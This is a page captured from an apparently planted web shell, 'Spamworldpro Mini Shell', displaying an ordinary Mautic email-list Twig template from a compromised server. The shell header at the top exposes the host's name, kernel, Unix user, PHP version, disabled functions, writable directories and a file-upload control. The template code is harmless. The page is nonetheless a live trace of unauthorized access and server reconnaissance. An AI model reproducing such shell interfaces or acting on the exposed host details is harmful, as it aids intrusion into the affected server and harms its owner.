Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/EmailBundle/Resources/views/Email/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/EmailBundle/Resources/views/Email/_list.html.twig
{% if items|length > 0 %}
    <div class="table-responsive">
        <table class="table table-hover email-list">
            <thead>
            <tr>
                {{- include('@MauticCore/Helper/tableheader.html.twig', {
                    'checkall'        : 'true',
                    'routeBase'       : 'email',
                    'templateButtons' : {
                        'delete' : permissions['email:emails:deleteown'] or permissions['email:emails:deleteother']
                    },
                }) -}}

                {{- include('@MauticCore/Helper/tableheader.html.twig', {
                    'sessionVar' : 'email',
                    'orderBy'    : 'e.name',
                    'text'       : 'mautic.core.name',
                    'class'      : 'col-email-name',
                }) -}}

                {{- include('@MauticCore/Helper/tableheader.html.twig', {
                    'sessionVar' : 'email',
                    'orderBy'    : 'c.title',
                    'text'       : 'mautic.core.category',
                    'class'      : 'visible-md visible-lg col-email-category',
                }) -}}

                <th class="visible-sm visible-md visible-lg col-email-stats">{{ 'mautic.core.stats'|trans }}</th>

                {{- include('@MauticCore/Helper/tableheader.html.twig', {
                    'sessionVar' : 'email',
                    'orderBy'    : 'e.dateAdded',
                    'text'       : 'mautic.lead.import.label.dateAdded',
                    'class'      : 'visible-lg col-email-dateAdded',
                }) -}}

                {{- include('@MauticCore/Helper/tableheader.html.twig', {
                    'sessionVar' : 'email',
                    'orderBy'    : 'e.dateModified',
                    'defaultDir' : 'DESC',
                    'text'       : 'mautic.lead.import.label.dateModified',
                    'class'      : 'visible-lg col-email-dateModified',
                    'default'    : true,
                }) -}}

                {{- include('@MauticCore/Helper/tableheader.html.twig', {
                    'sessionVar' : 'email',
                    'orderBy'    : 'e.createdByUser',
                    'text'       : 'mautic.core.createdby',
                    'class'      : 'visible-lg col-email-createdByUser',
                }) -}}

                {{- include('@MauticCore/Helper/tableheader.html.twig', {
                    'sessionVar' : 'email',
                    'orderBy'    : 'e.id',
                    'text'       : 'mautic.core.id',
                    'class'      : 'visible-md visible-lg col-email-id',
                }) -}}
            </tr>
            </thead>
            <tbody>
            {% for item in items %}
                {% set hasVariants  = item.isVariant() %}
                {% set hasTranslations  = item.isTranslation() %}
                {% set type = item.getEmailType() %}
                {% set mauticTemplateVars = _context|merge({'item' : item}) %}
                <tr>
                    <td>
                        {% set edit = securityHasEntityAccess(
                            permissions['email:emails:editown'],
                            permissions['email:emails:editother'],
                            item.getCreatedBy()
                        ) %}

                        {% set sendButton = {
                            'attr': {
                                'data-toggle': 'ajax',
                                'href'        : path('mautic_email_action', {'objectAction' : 'send', 'objectId' : item.getId()}),
                            },
                            'iconClass': 'fa fa-send-o',
                            'btnText': 'mautic.email.send'
                        } %}

                        {% if item.isBackgroundSending() %}
                            {% set sendButton = sendButton|merge({
                                'attr': {
                                    'href': 'javascript:void(0);',
                                    'disabled': true
                                },
                                'tooltip': 'mautic.email.send.disabled',
                                'btnClass': 'disabled'
                            }) %}
                        {% endif %}

                        {% set customButtons = ('list' == type) ? [sendButton] : [] %}


                        {{- include('@MauticCore/Helper/list_actions.html.twig', {
                            'item'            : item,
                            'templateButtons' : {
                                'edit'   : edit,
                                'clone'  : permissions['email:emails:create'],
                                'delete' : securityHasEntityAccess(
                                    permissions['email:emails:deleteown'],
                                    permissions['email:emails:deleteother'],
                                    item.getCreatedBy()
                                ),
                                'abtest' : ((not hasVariants) and edit and permissions['email:emails:create']),
                            },
                            'routeBase'     : 'email',
                            'customButtons' : customButtons,
                        }) -}}
                    </td>
                    <td>
                        <div>
                            {{- include('@MauticCore/Helper/publishstatus_icon.html.twig', {
                                'item'  : item,
                                'model' : 'email'
                            }) -}}
                            <a href="{{ path('mautic_email_action', {'objectAction' : 'view', 'objectId' : item.getId()}) }}"
                               data-toggle="ajax">
                                {{ item.getName() }}
                                {% if hasVariants %}
                                  <span data-toggle="tooltip" title="{{ 'mautic.core.icon_tooltip.ab_test'|trans }}"><i class="fa fa-fw fa-sitemap"></i></span>
                                {% endif %}
                                {% if hasTranslations %}
                                  <span data-toggle="tooltip" title="{{ 'mautic.core.icon_tooltip.translation'|trans }}"><i class="fa fa-fw fa-language"></i></span>
                                {% endif %}
                                {% if 'list' == type %}
                                  <span data-toggle="tooltip"title="{{ 'mautic.email.icon_tooltip.list_email'|trans }}"><i class="fa fa-fw fa-pie-chart"></i></span>
                                {% endif %}
                                {{ customContent('email.name', mauticTemplateVars) }}
                            </a>
                        </div>
                        {% if item.getDescription() is not empty %}
                            <div class="text-muted mt-4">
                                <small>{{ item.getDescription()|purify }}</small>
                            </div>
                        {% endif %}
                    </td>
                    <td class="visible-md visible-lg">
                        {% set category = item.getCategory() %}
                        {% set catName  = category ? category.getTitle() : 'mautic.core.form.uncategorized'|trans %}
                        {% set color = (category) ? '#' ~ category.getColor() : 'inherit' %}
                        <span style="white-space: nowrap;">
                            <span class="label label-default pa-4" style="border: 1px solid #d5d5d5; background: {{ color }};"> </span>
                            <span>{{ catName }}</span>
                        </span>
                    </td>
                    <td class="visible-sm visible-md visible-lg col-stats" data-stats="{{ item.getId() }}">
                        {{ customContent('email.stats.above', mauticTemplateVars) }}
                        <span class="mt-xs label label-default has-click-event clickable-stat{{ (item.getPendingCount() > 0 and 'list' == item.getEmailType()) ? '' : ' hide' }}"
                              id="pending-{{ item.getId() }}"
                              data-toggle="tooltip"
                              title="{{ 'mautic.email.stat.leadcount.tooltip'|trans }}">
                          <a href="{{ path('mautic_contact_index', {'search' : 'mautic.lead.lead.searchcommand.email_pending'|trans ~ ':' ~ item.getId()}) }}">
                              {{ 'mautic.email.stat.leadcount'|trans ({'%count%' : item.getPendingCount()}) }}
                          </a>
                        </span>
                        <span class="mt-xs label label-default has-click-event clickable-stat{{ item.getQueuedCount() > 0 ? '' : ' hide' }}"
                              id="queued-{{ item.getId() }}"
                              data-toggle="tooltip"
                              title="{{ 'mautic.email.stat.queued.tooltip'|trans }}">
                          <a href="{{ path('mautic_contact_index', {'search' : 'mautic.lead.lead.searchcommand.email_queued'|trans ~ ':' ~ item.getId()}) }}">
                              {{ 'mautic.email.stat.queued'|trans ({'%count%' : item.getQueuedCount()}) }}
                          </a>
                        </span>
                        <span class="mt-xs label label-warning has-click-event clickable-stat" id="sent-count-{{ item.getId() }}">
                          <a href="{{ path('mautic_contact_index', {'search' : 'mautic.lead.lead.searchcommand.email_sent'|trans ~ ':' ~ item.getId()}) }}"
                             data-toggle="tooltip"
                             title="{{ 'mautic.email.stat.tooltip'|trans }}">{{ 'mautic.email.stat.sentcount'|trans ({'%count%' : item.getSentCount(true)}) }}</a>
                        </span>
                        <span class="mt-xs label label-success has-click-event clickable-stat" id="read-count-{{ item.getId() }}">
                          <a href="{{ path('mautic_contact_index', {'search' : 'mautic.lead.lead.searchcommand.email_read'|trans ~ ':' ~ item.getId()}) }}"
                             data-toggle="tooltip"
                             title="{{ 'mautic.email.stat.tooltip'|trans }}">{{ 'mautic.email.stat.readcount'|trans ({'%count%' : item.getReadCount(true)}) }}</a>
                        </span>
                        <span class="mt-xs label label-primary has-click-event clickable-stat" id="read-percent-{{ item.getId() }}">
                          <a href="{{ path('mautic_contact_index', {'search' : 'mautic.lead.lead.searchcommand.email_read'|trans ~ ':' ~ item.getId()}) }}"
                             data-toggle="tooltip"
                             title="{{ 'mautic.email.stat.tooltip'|trans }}">{{ 'mautic.email.stat.readpercent'|trans ({'%count%' : item.getReadPercentage(true)}) }}</a>
                        </span>
                        {{ customContent('email.stats', mauticTemplateVars) }}
                        {{ customContent('email.stats.below', mauticTemplateVars) }}
                    </td>
                    <td class="visible-lg" title="{{ item.getDateAdded() ? dateToFullConcat(item.getDateAdded()) : '' }}">
                        {{ item.getDateAdded() ? dateToDate(item.getDateAdded()) : '' }}
                    </td>
                    <td class="visible-lg" title="{{ item.getDateModified() ? dateToFullConcat(item.getDateModified()) : '' }}">
                        {{ item.getDateModified() ? dateToDate(item.getDateModified()) : '' }}
                    </td>
                    <td class="visible-lg">{{ item.getCreatedByUser()|escape }}</td>
                    <td class="visible-md visible-lg">{{ item.getId() }}</td>
                </tr>
            {% endfor %}
            </tbody>
        </table>
    </div>
    <div class="panel-footer">
        {{- include('@MauticCore/Helper/pagination.html.twig', {
            'totalItems'    : totalItems,
            'page'          : page,
            'limit'         : limit,
            'baseUrl'       : path('mautic_email_index'),
            'sessionVar'    : 'email',
        }) -}}
    </div>
{% else %}
    {{- include('@MauticCore/Helper/noresults.html.twig') -}}
{% endif %}

Spamworldpro Mini